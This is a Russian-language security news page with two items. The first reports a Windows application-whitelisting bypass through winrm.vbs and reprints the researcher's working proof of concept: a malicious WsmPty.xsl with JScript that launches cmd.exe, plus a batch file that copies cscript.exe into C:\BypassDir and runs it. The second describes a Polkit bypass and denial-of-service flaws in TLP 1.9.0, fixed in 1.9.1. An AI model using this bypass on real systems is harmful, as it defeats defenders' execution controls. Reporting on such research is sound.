В Windows найден метод обхода белых списков приложений

В Windows найден метод обхода белых списков приложений

В Windows найден метод обхода белых списков приложений

Исследователь в области кибербезопасности Мэтт Гребер нашел интересный метод обхода белых списков приложений в Windows. Помимо этого, эксперт описал технику выполнения произвольного неподписанного кода в winrm.vbs.

winrm.vbs (подписанный Windows скрипт в System32) способен выполнять контролируемый злоумышленником XSL, который не попадет под ограничения «enlightened script host», в результате это приведет к выполнению произвольного неподписанного кода.

«Если вы добавляете “-format:pretty” или “ -format:text” в winrm.vbs, он вытащит WsmPty.xsl или WsmTxt.xsl из каталога, в котором находится cscript.exe. Это значит, что атакующий может скопировать cscript.exe в нужное ему место, где находится вредоносный XSL», — пишет специалист.

«Благодаря этому киберпреступник может добиться выполнения произвольного неподписанного кода. Эта техника практически идентична описанному Кейси Смитом методу с использованием wmic.exe».

Что касается Proof-of-Concept, эксперт опубликовал следующие шаги:

  1. Поместить вредоносный файл WsmPty.xsl или WsmTxt.xsl в контролируемую атакующим директорию.
  2. Скопировать файл cscript.exe или wscript.exe в ту же самую директорию.
  3. Выполнить winrm.vbs с «-format», указав «pretty» (если был помещен файл WsmPty.xsl) или «text» (если был помещен файл WsmTxt.xsl).

Исследователь привел пример вредоносного XSL, который можно поместить в контролируемый злоумышленником каталог. В качестве примера эксперт помещает файл по этому пути — C:\BypassDir\WsmPty.xsl.

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
 <ms:script implements-prefix="user" language="JScript">
 <![CDATA[
 var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
 ]]> </ms:script>
</stylesheet>

Грамотное оформление вредоносного файла WsmPty.xsl должно включать использование встроенного пейлоада DotNetToJScript, приводящего к выполнению произвольного кода.

«В процессе помещения файла WsmPty.xsl можно использовать следующий пакетный файл для запуска пейлоада», — объясняет эксперт:

mkdir %SystemDrive%\BypassDir
copy %windir%\System32\cscript.exe %SystemDrive%\BypassDir
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

Критическая уязвимость в TLP позволяет обойти защиту Linux

В популярной утилите TLP, которую многие владельцы ноутбуков на Linux используют для управления энергопотреблением, обнаружили критическую уязвимость. Причём проблема нашлась во время обычной проверки пакета командой SUSE Security Team и располагается во вполне штатном коде.

Брешь получила идентификатор CVE-2025-67859 и затрагивает версию TLP 1.9.0, где появился новый profiles daemon.

Этот демон работает с root-правами и управляет профилями питания через D-Bus. Задумка хорошая, но реализация подвела: в механизме аутентификации Polkit нашлась логическая ошибка, которая фактически позволяет обойти проверку прав.

Как объясняют исследователи, демон должен был строго проверять, кто именно отправляет команды. Но из-за ошибки любой локальный пользователь мог взаимодействовать с ним без должной аутентификации — а значит, менять системные настройки питания от имени root.

На этом сюрпризы не закончились. В ходе анализа специалисты SUSE нашли ещё несколько проблем, уже связанных с исчерпанием ресурсов. В частности, механизм profile hold, который позволяет временно «зафиксировать» профиль питания, оказался совершенно без валидации. Локальный пользователь мог создавать неограниченное количество таких блокировок, причём без прав администратора.

В итоге это открывает прямую дорогу к DoS-атаке: демон начинает захлёбываться от бесконечных записей в структуре данных, куда попадают числа, строки с причиной и идентификаторы приложений — всё это полностью контролируется клиентом.

Любопытно, что SUSE вспомнила похожую историю с демоном управления питанием в GNOME: аналогичную проблему находили ещё несколько лет назад. Отдельно исследователи отметили вопросы к механизму «куки», которыми отслеживаются profile hold. Формально речь шла о предсказуемости значений, но в сочетании с отсутствием лимитов это лишь расширяло поверхность атаки.

К счастью, реакция была быстрой. SUSE сообщила об уязвимостях разработчикам ещё в декабре, и в версии TLP 1.9.1 проблема уже закрыта. В частности, число одновременных profile hold теперь жёстко ограничено числом 16, что убирает риск истощения ресурсов.

RSS: Новости на портале Anti-Malware.ru